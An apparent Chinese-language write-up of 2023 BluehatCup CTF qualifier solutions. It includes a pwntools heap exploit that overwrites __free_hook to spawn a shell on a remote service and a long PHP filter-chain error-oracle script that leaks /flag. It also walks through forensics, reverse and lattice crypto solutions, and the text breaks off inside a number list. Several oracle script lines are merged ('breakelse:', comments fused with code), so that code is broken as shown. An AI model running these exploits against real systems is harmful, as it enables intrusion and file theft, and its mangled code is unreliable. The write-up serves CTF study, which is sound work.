2023 BluehatCup CTF partly WriteUp by 圣地亚哥皮蛋 | QUALS

这次CTF部分打的可以,抢了一个Misc二血。但是取证拉了。。。呜呜呜,要好好学取证了捏

PWN

takeway

就可以随意地址申请堆块,先改最大堆块数,然后在elf地址上泄露一个stdout,之后就打free_hook就行了,版本是2.31_9.9

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * 

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

add_idx = 1
delete_idx = 2
edit_idx = 3
context.arch = 'amd64'
p = remote('101.200.234.115',46498)
#p = process('./takeway')
elf = ELF('./takeway')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def debug():
        gdb.attach(p)
        pause()

def choice(cho):
        sla('Please input your choose: ',cho)

def add(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        sla('Please input your food name: ',name)
        sla('a remark: ',content)

def delete(idx):
        choice(delete_idx)
        sla('Please input your order index: ',idx)

def edit(idx,content):
        choice(edit_idx)
        sla('Please input index: ',idx)
        p.sendlineafter('New food name is: ',content)

def add1(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        p.sendlineafter('Please input your food name: ',name)
        p.sendlineafter('a remark: ',content)

def pwn():
        add(0,'banana','xj')
        add(1,'banana','xj')
        delete(0)
        delete(1)
        edit(1,p64(0x0404080))
        add(2,'banana','xj')
        add(3,'bananaa','fffffff')
        choice(edit_idx)
        sla('Please input index: ',3)
        ru('fff\n')
        out = uu64(r(6))
        leak('stdout',out)
        p.sendlineafter('New food name is: ','cat')
        libcbase = out-(0x7f881942f6a0 - 0x7f8819242000)
        leak('libcbase',libcbase)
        delete(0)
        delete(1)
        edit(1,p64(libcbase + libc.sym['__free_hook']))
        add(4,'cat','cat')
        choice(add_idx)
        sla('Please input your order index\n',7)
        p.sendafter('Please input your food name: ',p64(libcbase+libc.sym['system']))
        p.sendlineafter('a remark: ','aa')
        leak('free',libcbase + libc.sym['__free_hook'])
        edit(1,'/bin/sh')
        #debug()
        delete(1)
        #debug()
        itr()

if __name__ == '__main__':
        pwn()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

WEB

Lovephp

第一个 tricks https://bugs.php.net/bug.php?id=81151

第二个 tricks 是这里的这个参数怎么传入,在 ctfshow 中也有过相应题目,看到 main/php_variables.c#L105-L115:

/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
    if (*p == ' ' || *p == '.') {
        *p='_';
    } else if (*p == '[') {
        is_array = 1;
        ip = p;
        *p = 0;
        break;
    }
}

为了某些特殊的需要,我们发现 PHP 会将 空格、. 转化为下划线,但是如果这里有 [ 的话会直接 break 掉,然后在 is_array==1 的时候会调用如下内容

main/php_variables.c#L191-L195

if (!ip) {
    /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
    *(index_s - 1) = '_';

    index_len = 0;

这里我们的 [ 会被替换为 _ 但是后续却没有再继续进行 . 和 空格 的检测,最终构造 paylaod 如下:my[secret.flag=C:8:"Saferman":0:{}

然后就是 file() 函数的利用,参考 https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py

http://tttang.com/archive/1395/#toc_craft-base64-payload

这里是一个 PHP Devlopment Sever,重新用脚本 fuzz 一下,直接读 /flag

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
        return '|'.join(x)

def err(s):
        print(s)
        raise ValueError

def req(s):
        params = {
                'secret': f'php://filter/{s}/resource=/flag',
                "my[secret.flag":'C:8:"Saferman":0:{}'
        }
        return requests.post('http://39.105.5.7:45123/index.php', params=params).status_code == 500"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'# Start get baseline blowupprint('Calculating blowup')
baseline_blowup = 0for n in range(100):
        payload = join(*[blow_up_utf32]*n)
        if req(f'{header}|{payload}'):
                baseline_blowup = n
                breakelse:
        err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
        req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
        err('something wrong')
if j[0] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
        header = f'convert.base64-encode|convert.base64-encode'else:
        err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
        global flip, r2, r4
        o = []
        chunk = n // 2if chunk % 2 == 1: o.append(r4)
        o.extend([flip, r4] * (chunk // 2))
        if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
        return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
        if not req(f'{prefix}|dechunk|{blow_up_inf}'):
                # a-f A-F 0-9if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
                        # a-efor n in range(5):
                                if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'edcba'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # A-Efor n in range(5):
                                if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'EDCBA'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
                        return '*'
                elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # freturn 'f'
                elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Freturn 'F'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
                # n-s N-Sif not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
                        # n-rfor n in range(5):
                                if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'rqpon'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # N-Rfor n in range(5):
                                if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'RQPON'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # sreturn 's'
                elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Sreturn 'S'else:
                        err('something wrong')
        elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # i j kif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'k'
                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'j'
                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'i'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # I J Kif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'K'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'J'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'I'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # v w xif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'x'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'w'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'v'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # V W Xif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'X'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'W'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'V'else:
                        err('something wrong')
        elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Zreturn 'Z'
        elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # zreturn 'z'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Mreturn 'M'
        elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # mreturn 'm'
        elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # yreturn 'y'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Yreturn 'Y'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # lreturn 'l'
        elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Lreturn 'L'
        elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # hreturn 'h'
        elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Hreturn 'H'
        elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # ureturn 'u'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Ureturn 'U'
        elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # greturn 'g'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Greturn 'G'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # treturn 't'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Treturn 'T'else:
                err('something wrong')

print()
for i in range(100):
        prefix = f'{header}|{get_nth(i)}'
        letter = find_letter(prefix)
        # it's a number! check base64if letter == '*':
                prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
                s = find_letter(prefix)
                if s == 'M':
                        # 0 - 3
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '0'
                        elif ss in 'STUVWX':
                                letter = '1'
                        elif ss in 'ijklmn':
                                letter = '2'
                        elif ss in 'yz*':
                                letter = '3'else:
                                err(f'bad num ({ss})')
                elif s == 'N':
                        # 4 - 7
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '4'
                        elif ss in 'STUVWX':
                                letter = '5'
                        elif ss in 'ijklmn':
                                letter = '6'
                        elif ss in 'yz*':
                                letter = '7'else:
                                err(f'bad num ({ss})')
                elif s == 'O':
                        # 8 - 9
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '8'
                        elif ss in 'STUVWX':
                                letter = '9'else:
                                err(f'bad num ({ss})')
                else:
                        err('wtf')

        print(end=letter)
        o += letter
        sys.stdout.flush()

"""
We are done!! :)
"""print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

Misc

ez_Forensics

把镜像丢进Passwarekit​进行识别提取:

image

有第一部分的flag:flag{194a019a-1767-91

查看进程信息,发现有Winrar​:

image

filescan​一下,然后查看桌面文件:

image

提取这三个文件,其中key.rsmr​是鼠标记录

image

打开压缩包发现readme.txt​,桌面也有一个readme.txt

名字相同,怀疑是被修改了,查看编辑前的版本:

image

替换修改,打包一下:

image

CRC校验值相同,可以明文攻击

这个地方我用bkcrack​跑明文攻击,跑到100%,没找到密钥。。。

又尝试了好多压缩软件都不行,最后360压缩可以了

image

[ 6296ee7a 28ddd715 d09626ae ]

恢复解密文件,有一个table,查看hex开头是89504E47​,改后缀为png

table

然后按照鼠标画圈的顺序恢复key

​​58ccd03acfee30e4846e959acf1e0c2

顺序是:a91e37bf

volatility​提取cmd记录:

image

SET SECRET​但是不知道设置的哪个环境变量,但是查看的时候翻到了火狐浏览器的环境变量:

image

解密aes:

image

出第二部分flag:3a-f140-2626195942a0}

合并起来:

flag{194a019a-1767-913a-f140-2626195942a0}​​

Reverse

Story

源码里就有:

image

Crypto

DHRSA

因为t1和t2只可以取01,所以pq组合一共四种情况,单个来看p就只有两种情况

题目给出了62组

$$
C_i=g^{c_i}(modr)
$$

肯定有一个线性组合使得

$$
a_1c_1+……+a_nc_n=0
$$

可以凭此构造格子

然后gcd两组来求r

from Crypto.Util.number import *
from gmpy2 import *
cs = [9771395973011655803041049350400889693558053786906788399593857181577256033087775470396528142785531153656250742163382306394790826547696369519066900832598632, 8272821018041191335817314516024870641634584838709754134295649414123178842937800314505950304166260273130361466329869880024580711311122266329063823157928578, 9224196545381524434689958500941052085722509493323098161219607220849299786695264643219965900283680542442505315754998495711744726427299710433730839117822341, 1008469491610938216099437983993305774398678547360061529021095399886442276321623596589458980857784117593111375842386009804225494459153563491699302948435260, 7616413788891104674175703849368746136014029498968757620534065604935400737852925875633996435081025804169137754721194517660132118370608033038162779303724417, 7584549797616896430743312033954227311758800006881758430848397006388599762762869550122276429056861398410906389124143882721771887174154825862686488628829556, 4857850091039904852357309328743353934107579830869744999969242154323443783533786032181281694960711385606506579359066323294671727886753617501542207839926790, 4779727649310569079487754450225462592903787505885564750560744245118977747200287996364352093535624060190258736345242819222383024403591273643223505871273937, 6240985007555841990183784512088706027373526355604287377336898927100013200525239698399664369530638033756622723154794368086253680721133641187916109948879111, 1440004269550837930069561548693107407163496872089856298023372643037792305541293783438854412197014895824653797468093046886645122408623089543218627931731325, 8686467414540984479883981478664234832161994713954432326787817013306458410596539074149482305300161480885280412716015692242140611122632851558942831571969449, 6397234126429549747756931006796154340671325181680459289481852293242757656214345178451346712629678435704959420962366420623987135911533358778558089423502498, 5154817535857960073707963384183439709586920855602419290358137674661940402006427565850098044416106066822250682276679669427811522910392723378330585054966700, 6184278632740706257559650240918607859111635320246236350819849684258206208438537742565177660943106119452934940861754989735447208681922747166941649495976923, 514519457570888784111073733278759745960446948568600524535727800070517989361086156941193628192360355612444575477626855845530581162562486612799738968800436, 5311179737168594393380387500131139705986775208655298446331668896011718110177021579502837999280939324755245947626117007502618967826854797851195037805622236, 8033599809537397449739222496469120219661376235214159758353162913590149327454313351545152320436531803584693342228310830634381278274606584366951286641362730, 2051625798280743150753404437482448207490537448098276190886365473636618906352671153607072757637879642085246666882064116331781620620841788195957363592387053, 2539152850168044131443627430873275266571063321601722994164719426048365057966357258486918206613866328867765905303734883912389577646355187342721384787506424, 9008908156612389991869885743985152554064654014600155665167153423864293462953589139136986609123719868913243556793248046592418855144217044361551263069240329, 6803170457708082062222117551095454287816962526481935030699353660846602430067188624302070998045883149555451692203871683262881999463532897654910797581195808, 4342007382390611975323457544296213170925503797306373729093603079594595092127747819980737254901463722358222828653606693041546906868729342511025828114827555, 2183664030657588356550029801438062011696791479721050550709966793162412846063789309880633528422512509596396589027054806885718000781675200132948682901735072, 2676285609364173142435111238008478736925861736006673806161674291385422525644573866393884559955797190936826061311631872102982470113155601869660746965071177, 8615874523824944863326511893784594675845807173709888717969574953112250736770386882455890231726119912526638461175690953959512359266034187901901745135706561, 1922646621448654308731099545672266646199287008430733010575325812508661111446471076682347110401317422369989378526004562648871357970249460937394842515685185, 6894871210132644262428509750998583740904489962095581087369230603087765684170566562618210470507349665138476792990203975299249821414179702286974952108308908, 8398850863544147035551562678201580675747803434116699749690629994755381632713482161869699483278515661816496168924359580050657657882041095486710223992321329, 1103558165483499140082633087824207492178842328222110372040372946709534675630035763166805943256640202241094017653484224302180964104596684146937840328056737, 7616579463842058663956538981992016396022484825826970703537944742179864728054422301128359842636130918256966522509540733872238802637426513398702545806054711, 6093447739151580910739487321763042257093662388037797880895310207982236604441330252766468220299149762533760095283275798097190217074233307392113562823550055, 10465708577087930103510908920924173959169681089467884381473219422666982876773505479708456794740072800789393882374346444466352555495590221538783880064776747, 10605081135879456867591725577517023044111094541257015514457259942700651158240017447609481228325274221251138332472541861502584164767676203023712244274563455, 7012967814560006293648272691588998637134646550513726240939227681138521268647913550031357555656822375449692357834760862939125678022083697005023949012937826, 9566656433910278946608540460883633932965000205012896340833001038283123101223701427477589683926930217368102196484226996825067156057344586227513445332021767, 2721818943333539016612702886003757042711221957746352716329164140315057299599294376527853842627041607856599108409067242878086913811106172846700928991925332, 4144627466364250800792304430295727495765908688276307878705582041004315000843879026660231248370219826205974342880901591994064400526974281681872092036583360, 9540229122766028258950784907897705565229274273296271759903007071156790536497946170835990412260104194662363036458196704652014673749423907001422969301809735, 1639227724203684234308217138545474026323237719482542327552473107710807011133804919537706806005714199832933437746623612694760178087234912102227060818821785, 9812993094473406654107168236073328125261683326416570529798110665650382711989965459219636103724052319209618994008458512967332799786202713476231778145396012, 2295945877832163407010322597202468334423912618570523561408751634022642288041211919141444020534567414838616766574885544294608146290275196633317265741751883, 9510449404755931940739075753727979306152379874217663126425580183559239591750519861496413596214874972534376534993718874211977861576694865786452346685079911, 10068147483643758261431583499786421277358011934810052604576663733186448278692924596285775100821424123316623283150527146388692332413482534235601982259977735, 2631234993744978915205564833565878360368731366415913670587100334887962760531396262264711195036515169369826941240935633330766040802965514627738944637938312, 6245294849421435385844087800549243031764408455344779721346137213398733894945891825456797247066883570457936878961279970460851977076618685374684565064011000, 6360363966721028786772622616611684728619548477569800250827865049949218224355237880474537231095562612445154765235574973379248267372638478052576176958426893, 1374748162508202790788170508306104425630569793823780168413397583022077368721695853340144854392562470438547910808098360313836434314988050372444336622005939, 5923217938277229682931188522357086770659121539648879409111011010394233354709847779031983270180639474376432548198701507987857799064509215702865822042304601, 7912839476386587387207319066546154431303391126303542720169612844312157005989844595260178178012638805394179538160638000205856329132154797855491159908316825, 6989926221520213501850965026707723308003729842929136196471532798477250492469686905792383597327729987647258260679589434132606672791962970232535673677457343, 7743517306425849045036228617259140769029348885373635895025449298661791309426243487821079837754283770418719515017823088333131732906019584031613089554304420, 8228064864747011743632289680585658563799395413457976150375450901737657367769151734010130073897880115256353583883179331874018722072209939664833555092694721, 4450010894214163101815316096785687407009534536454667314772668698898901466717062024203232842836467444518468762248095700604843848000837792037078167960588129, 3345145753946526259843311380078979114463790107484347721093757348344369710001786833260087626842713916819817705043732430232104986213669502412941799451378137, 411849644960126121049073725849225927315782894933779533599764821078891693733248333351876043256232845616011887951112364725817456430915422262433159009162810, 9070143529402968690182170891432541186624926767431297375488478998005501150531907444673746153178512705131935537332064808055931815290499208703009298348987029, 8213219975300001733306975337422619448976655134956761580838409562843071867497978077677323154897320151428562911412904177153952495821256190104983710364972232, 8349268362247390165742295418698754062525395439803096486083911273583071915526604580013826747245858881943244980602181641712932537086321708434534161167021746, 7509668912649960854961670452151045790218876057511153068414836771472470302685381796706603632853037886139531473147215132055911891985689199108998563497337555, 2131204693980301034358939270790217044118874047688648828664882105193013493634681490541248365340356833966291527168399270652784557243494787018476812050661672, 94628342448609390736618683703832565995079347007818829426672834242066920587964251445868380536604059942251553430692068690115557207157069742355783092463878, 8730838489034161299210542834892857189755559366635478365056603032000438656615452617258885131782074530795256008985786448336781306335727153569211343667279688]
Cs = [8139606023160038223737079478941118590185130735073983268534523900466799026361464500424904356248753891316780445417573842978538788878976916399246204378441056, 6731047210123888962354325580924677204725121336252367061814596228770531939085170702108835833376855510135160514592212524395740859425722612967050674897558554, 8618477079542034439812499299348172601780082410118486479357089433765711733400709574657418048464225715724091467457454996920521245517408697962287328781660172, 9243753430474436162138755988303772102594989764465818886594050158035773372691908643200174705510107166901553683916448850166844368808268900160791189879886461, 5081325787403850070122342963066210472728109263877409302015934601768721956580972368361384922036489915214279268746375195256103574903758346112788101331060421, 1628416782427642576537753826054924818984220964280741905185643986017630454253562852051349318488828073385103084138926801432973213673304459124585445072035446, 1436555309056212704783260154843715809916541935750195541226776332006326501592432597657580990741764167962753224321573279559350979014777173060581697942160790, 8457854453119605903801540115672523550270614339671410689633028758723786021115482172319549655156915937495339811221100830546511268665457084873839271917131026, 7516353799796514587790845891436757011323761869044622559902758322970504358548733636938457083535644723388210752578649311718854524047992380524533863744945353, 9434919345479338423866102885320010476913815819406622512632495616332678841660980531307718949753248131094030185131327688989259983673428169616967926536549981, 2376239907248313997443412718623933371621229548870946158597654591040113647645833393016706072537549866458668992268347350086597733853645352669964694698209002, 9555521900012304016219328488701400452052438846888508591910947639752080094465009622568296701465965949214617545676819204984390042310077453137495863845140433, 10496354188266114334878155842846706785121191402898647321044421232085059338092949629088561418326794767424754926615669196297619927139682997591511869107757767, 1684156496026762626171388002895398201456656580507920519170549327618625423797366792075116257872626605002727580286505567977884867816788235806054395449066065, 5279615925666476607393445956667230310409008481693792914481184221733250114518482573243209594428350182047703213893421465095795062348864307647570060060929176, 7950931857867551139311900477185535034704935066837216411367230952920436620973145933605969605301127988180373211783836800949372831376277678318587671147544812, 7363787374432448634707849149426821610638073413299588217259428219319013703633673213128364594170782521444300561327439516770200289550957339013848496654479674, 183450164326164222959035748035117444906396515108356683081562421715885871762215055266356577117853857983960152113987173865737809535655981046541363297829205, 585756688754350904695498684365256423604945135941557021419402686079315456435190920620640430630667903578283746531894135845972607789350856875988416502844449, 9289266081720210076238040168621209559442099796466275176059195696650031235127294873962598972974303719540193547570326682610716804488839647659399702777957625, 1643238506993581048346556120580389927181837132286120379981936140856072993887401596354919001634656489755991432524216993664019969824657062288544062028928533, 493026654262682081757325540069692089465639980280029378402651778901949559259891879708898948140085681814535573742826826476110468079719504023996492906928688, 4073523873469606498132661552527997945998461149945931939857824343164584528157149801459596694594269553069502164902110100517378462894925649504277727979281804, 5526482056568056411108977820792619135217540155238365597030616097363450824489623669450770143884401364973046003465586645009073389711906524301615929500348726, 5107189939984481100533490360348985070143842143450775903588073100128259350554726370669643384672212451094463934881485403663403067465232413753838963311526164, 